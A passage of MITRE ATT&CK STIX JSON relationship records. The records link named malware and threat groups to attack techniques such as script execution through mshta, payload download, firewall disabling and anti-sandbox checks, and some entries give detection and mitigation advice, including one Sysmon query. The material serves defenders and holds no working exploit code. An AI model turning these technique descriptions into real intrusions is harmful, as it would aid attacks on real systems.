2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90f03f42-a2f1-4fab-8a10-ebbbbc4fba19","created":"2019-08-26T15:27:12.985Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"EST Kimsuky April 2019","description":"Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.","url":"https://blog.alyac.co.kr/2234"},{"source_name":"CISA AA20-301A Kimsuky","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a"},{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.414Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used mshta.exe to run malicious scripts on the system.(Citation: EST Kimsuky April 2019)(Citation: CISA AA20-301A Kimsuky)(Citation: Crowdstrike GTR2020 Mar 2020)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90f1e66f-9187-44a8-85cb-dcc15ca24d31","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90f294ee-9232-4392-9c9a-124be3f38e06","type":"relationship","created":"2020-09-29T15:45:28.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."}],"modified":"2020-10-06T15:44:25.178Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can execute command line scripts received from C2.(Citation: PWC WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90f3ee94-f732-4718-8e42-bb002f4e2109","created":"2024-07-25T17:28:38.711Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T17:28:38.711Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) has used PowerShell and [BITSAdmin](https://attack.mitre.org/software/S0190) to retrieve follow-on payloads from external locations for execution on victim machines.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90f5f474-eed1-4145-be80-155bc5783680","type":"relationship","created":"2020-10-05T17:54:54.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-10-05T17:54:54.127Z","description":"[Anchor](https://attack.mitre.org/software/S0504) can establish persistence by creating a service.(Citation: Cyberreason Anchor December 2019)\t","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90fc37c2-19cc-450d-ba0b-5c4a3c9039b3","type":"relationship","created":"2022-01-25T15:43:34.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T15:43:34.501Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) can delete created files from a compromised system.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--90febb12-39b4-4138-99da-93f1e987ac2a","created":"2022-10-14T18:02:35.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 WhisperGate January 2022","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family"},{"source_name":"Medium S2W WhisperGate January 2022","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T18:04:11.810Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can download and execute AdvancedRun.exe via `sc.exe`.(Citation: Medium S2W WhisperGate January 2022)(Citation: Unit 42 WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91038a74-575b-4f2e-9dba-767b50b8e4ab","type":"relationship","created":"2020-07-01T21:19:30.586Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.402Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) has the ability to enumerate what browser is being used as well as version information for Safari.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9104be87-33ad-4a35-96db-3e2ed5c17f46","created":"2023-12-13T20:42:27.690Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-18T22:47:59.314Z","description":"Consider using application control configured to block execution of utilities such as `diskshadow.exe` that may not be required for a given system or network to prevent potential misuse by adversaries. ","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--910d0f07-383b-480b-9637-d5b747353bdc","type":"relationship","created":"2021-10-13T18:28:38.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kroll Qakbot June 2020","url":"https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks","description":"Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021."}],"modified":"2021-10-13T18:28:38.745Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has stored stolen emails and other data into new folders prior to exfiltration.(Citation: Kroll Qakbot June 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9111ccf5-9754-4840-8068-7635465e640a","created":"2022-04-18T18:58:45.648Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","modified":"2022-04-18T18:58:45.648Z","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--911716a6-6c59-4055-a74b-9152b19800cb","created":"2023-08-11T20:46:49.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T17:19:41.410Z","description":"Monitor for newly executed processes that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. The RECYCLER and SystemVolumeInformation directories will be present on every drive. Replace %systemroot% and %windir% with the actual paths as configured by the endpoints.\n\nAnalytic 1 - Suspicious Run Locations\n\n(sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (sourcetype=\"WinEventLog:Security\" EventCode=\"4688\") AND (\n Image=\"*:\\RECYCLER\\*\" OR\n Image=\"*:\\SystemVolumeInformation\\*\" OR\n Image=\"%windir%\\Tasks\\*\" OR\n Image=\"%systemroot%\\debug\\*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91180074-16cd-448f-8955-628d06965e22","type":"relationship","created":"2020-05-21T14:55:00.169Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T14:55:00.169Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used base64 encoding to hide command strings delivered from the C2.(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--911beb36-2a36-4c26-9e0d-bea35f6497b6","created":"2023-09-27T20:25:38.772Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:25:38.772Z","description":"[NightClub](https://attack.mitre.org/software/S1090) can use `GetForegroundWindow` to enumerate the active window.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--911c0e63-10bc-4fbd-b7b7-0a9e318bb4f1","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky MuddyWater Nov 2018","description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"Unit 42 MuddyWater Nov 2017","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"},{"source_name":"TrendMicro POWERSTATS V3 June 2019","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T16:59:12.162Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) uses PowerShell for obfuscation and execution.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: ClearSky MuddyWater Nov 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--911ca56b-8fd3-4efc-855c-f1754c8b05b7","type":"relationship","created":"2020-03-28T01:37:57.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-17T17:53:50.949Z","description":"Network intrusion detection and prevention systems that can identify traffic patterns indicative of AiTM activity can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--911d412e-9dd7-49ae-ab6a-a078b44a1791","type":"relationship","created":"2020-01-15T16:27:32.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-15T16:27:32.733Z","relationship_type":"revoked-by","source_ref":"attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f","target_ref":"attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--911d7f27-a32e-45fb-a66b-e7b195023c43","type":"relationship","created":"2020-05-04T19:13:35.503Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.503Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to retrieve a list of files in a given directory as well as drives and drive types.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9121d8be-058d-4ee2-9372-62c6607dd8f4","type":"relationship","created":"2020-03-28T01:05:24.517Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:02.002Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can disable the firewall by modifying the registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9122a590-4a01-4f41-a15a-bc3bc92b0439","created":"2023-03-10T21:15:11.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Check Point Black Basta October 2022","description":"Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.","url":"https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"},{"source_name":"Palo Alto Networks Black Basta August 2022","description":"Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T00:22:52.626Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) can check system flags and libraries, process timing, and API's to detect code emulation or sandboxing.(Citation: Palo Alto Networks Black Basta August 2022)(Citation: Check Point Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9131af72-6fa7-4292-b959-05f774e77f7e","type":"relationship","created":"2020-02-20T15:37:27.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-20T15:37:27.398Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9137e2ff-166c-4d99-80e8-2694f262626c","created":"2024-07-23T18:15:47.954Z","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-23T18:15:47.954Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) can execute via LNK containing a command to run a legitimate executable, such as wmic.exe, to download a malicious Windows Installer (MSI) package.(Citation: TrendMicro RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--913c67d5-0c5b-40d5-be88-6ce4e5030603","type":"relationship","created":"2020-06-30T00:18:39.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}],"modified":"2020-06-30T00:18:39.805Z","description":"[Ragnar Locker](https://attack.mitre.org/software/S0481) has used VirtualBox and a stripped Windows XP virtual machine to run itself. The use of a shared folder specified in the configuration enables [Ragnar Locker](https://attack.mitre.org/software/S0481) to encrypt files on the host operating system, including files on any mapped drives.(Citation: Sophos Ragnar May 2020)","relationship_type":"uses","source_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","target_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--913d20d5-aea1-49bc-826a-90b8697d691d","created":"2022-10-13T16:17:17.640Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:17:17.640Z","description":"(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--913ea392-e874-463c-bfbf-a84668cfc5b6","created":"2024-09-25T20:06:15.493Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T20:06:15.493Z","description":"[Play](https://attack.mitre.org/groups/G1040) has used [Cobalt Strike](https://attack.mitre.org/software/S0154) to download files to compromised machines.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--914406e6-9388-477d-ba6b-97e5ebec31f0","created":"2020-05-26T20:33:11.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CheckPoint Naikon May 2020","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020.","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:59:14.960Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has used an encrypted configuration file for its loader.(Citation: CheckPoint Naikon May 